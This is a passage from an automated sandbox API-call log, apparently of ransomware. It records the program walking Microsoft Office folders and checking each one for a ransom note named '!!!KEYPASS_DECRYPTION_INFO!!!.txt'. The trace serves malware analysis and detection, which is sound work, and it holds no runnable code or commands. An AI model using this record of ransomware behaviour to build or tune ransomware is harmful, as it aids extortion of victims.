GetLastError () returned 0x3f0 [0270.847] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.847] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.872] GetFileType (hFile=0xf28) returned 0x1 [0270.874] CloseHandle (hObject=0xf28) returned 1 [0270.874] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0270.874] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.874] GetLastError () returned 0x3f0 [0270.874] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\11.0.0.0__89845DCD8080CC91\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\11.0.0.0__89845DCD8080CC91\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.874] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\11.0.0.0__89845DCD8080CC91\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.875] GetFileType (hFile=0xf2c) returned 0x1 [0270.876] CloseHandle (hObject=0xf2c) returned 1 [0270.876] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0270.876] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.876] GetLastError () returned 0x3f0 [0270.877] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\13.0.0.0__89845DCD8080CC91\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\13.0.0.0__89845DCD8080CC91\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.877] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\13.0.0.0__89845DCD8080CC91\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.950] GetFileType (hFile=0xf34) returned 0x1 [0270.951] CloseHandle (hObject=0xf34) returned 1 [0270.951] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0270.952] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.952] GetLastError () returned 0x3f0 [0270.952] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\14.0.0.0__89845DCD8080CC91\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\14.0.0.0__89845DCD8080CC91\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.952] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\14.0.0.0__89845DCD8080CC91\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.954] GetFileType (hFile=0xf30) returned 0x1 [0270.955] CloseHandle (hObject=0xf30) returned 1 [0270.955] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0270.955] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.955] GetLastError () returned 0x3f0 [0270.955] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.955] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.963] GetFileType (hFile=0xf38) returned 0x1 [0270.964] CloseHandle (hObject=0xf38) returned 1 [0270.964] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0270.964] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.964] GetLastError () returned 0x3f0 [0270.965] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\11.0.0.0__89845DCD8080CC91\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\11.0.0.0__89845DCD8080CC91\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.965] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\11.0.0.0__89845DCD8080CC91\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.965] GetFileType (hFile=0xf3c) returned 0x1 [0270.966] CloseHandle (hObject=0xf3c) returned 1 [0270.966] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0270.966] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.966] GetLastError () returned 0x3f0 [0270.966] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\13.0.0.0__89845DCD8080CC91\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\13.0.0.0__89845DCD8080CC91\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.966] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\13.0.0.0__89845DCD8080CC91\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.968] GetFileType (hFile=0xf40) returned 0x1 [0270.972] CloseHandle (hObject=0xf40) returned 1 [0270.972] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0270.972] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.972] GetLastError () returned 0x3f0 [0270.972] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\14.0.0.0__89845DCD8080CC91\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\14.0.0.0__89845DCD8080CC91\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.972] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\14.0.0.0__89845DCD8080CC91\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.973] GetFileType (hFile=0xf44) returned 0x1 [0270.974] CloseHandle (hObject=0xf44) returned 1 [0270.974] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0270.974] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.974] GetLastError () returned 0x3f0 [0270.974] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.974] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.975] GetFileType (hFile=0xf4c) returned 0x1 [0270.976] CloseHandle (hObject=0xf4c) returned 1 [0270.976] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0270.976] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.976] GetLastError () returned 0x3f0 [0270.977] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\16.0.0.0__71E9BCE111E9429C\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.977] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0270.977] GetFileType (hFile=0xf50) returned 0x1 [0270.978] CloseHandle (hObject=0xf50) returned 1 [0270.978] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0270.978] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0270.978] GetLastError () returned 0x3f0 [0270.978] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0270.978] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.021] GetFileType (hFile=0xf48) returned 0x1 [0271.022] CloseHandle (hObject=0xf48) returned 1 [0271.022] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0271.022] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.022] GetLastError () returned 0x3f0 [0271.022] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\16.0.0.0__71E9BCE111E9429C\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.022] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.023] GetFileType (hFile=0xf54) returned 0x1 [0271.024] CloseHandle (hObject=0xf54) returned 1 [0271.024] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0271.024] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.024] GetLastError () returned 0x3f0 [0271.024] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.024] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.027] GetFileType (hFile=0xf58) returned 0x1 [0271.028] CloseHandle (hObject=0xf58) returned 1 [0271.028] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0271.028] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.028] GetLastError () returned 0x3f0 [0271.028] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\16.0.0.0__71E9BCE111E9429C\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.028] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.029] GetFileType (hFile=0xf5c) returned 0x1 [0271.029] CloseHandle (hObject=0xf5c) returned 1 [0271.030] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0271.030] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.030] GetLastError () returned 0x3f0 [0271.030] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.030] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.031] GetFileType (hFile=0xf60) returned 0x1 [0271.032] CloseHandle (hObject=0xf60) returned 1 [0271.032] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0271.032] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.032] GetLastError () returned 0x3f0 [0271.032] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\16.0.0.0__71E9BCE111E9429C\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.032] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.044] GetFileType (hFile=0xf68) returned 0x1 [0271.045] CloseHandle (hObject=0xf68) returned 1 [0271.045] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0271.045] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.045] GetLastError () returned 0x3f0 [0271.045] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\INF\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\INF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.045] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\INF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.046] GetFileType (hFile=0xf6c) returned 0x1 [0271.047] CloseHandle (hObject=0xf6c) returned 1 [0271.047] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0271.047] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.047] GetLastError () returned 0x3f0 [0271.047] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.047] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.047] GetFileType (hFile=0xf70) returned 0x1 [0271.048] CloseHandle (hObject=0xf70) returned 1 [0271.048] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0271.048] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.048] GetLastError () returned 0x3f0 [0271.048] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.048] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.049] GetFileType (hFile=0xf74) returned 0x1 [0271.050] CloseHandle (hObject=0xf74) returned 1 [0271.050] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0271.050] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.050] GetLastError () returned 0x3f0 [0271.050] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-0409-1000-0000000FF1CE}\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-0409-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.050] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-0409-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.051] GetFileType (hFile=0xf78) returned 0x1 [0271.051] CloseHandle (hObject=0xf78) returned 1 [0271.052] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0271.052] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.052] GetLastError () returned 0x3f0 [0271.052] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-040C-1000-0000000FF1CE}\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-040C-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.052] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-040C-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.053] GetFileType (hFile=0xf64) returned 0x1 [0271.054] CloseHandle (hObject=0xf64) returned 1 [0271.054] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0271.054] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.054] GetLastError () returned 0x3f0 [0271.054] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-0C0A-1000-0000000FF1CE}\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-0C0A-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.054] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-0C0A-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.055] GetFileType (hFile=0xf7c) returned 0x1 [0271.055] CloseHandle (hObject=0xf7c) returned 1 [0271.056] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0271.056] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.056] GetLastError () returned 0x3f0 [0271.056] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-006E-0409-1000-0000000FF1CE}\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-006E-0409-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.056] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-006E-0409-1000-0000000FF1CE}\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.056] GetFileType (hFile=0xf80) returned 0x1 [0271.057] CloseHandle (hObject=0xf80) returned 1 [0271.057] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0271.057] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.057] GetLastError () returned 0x3f0 [0271.057] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\", 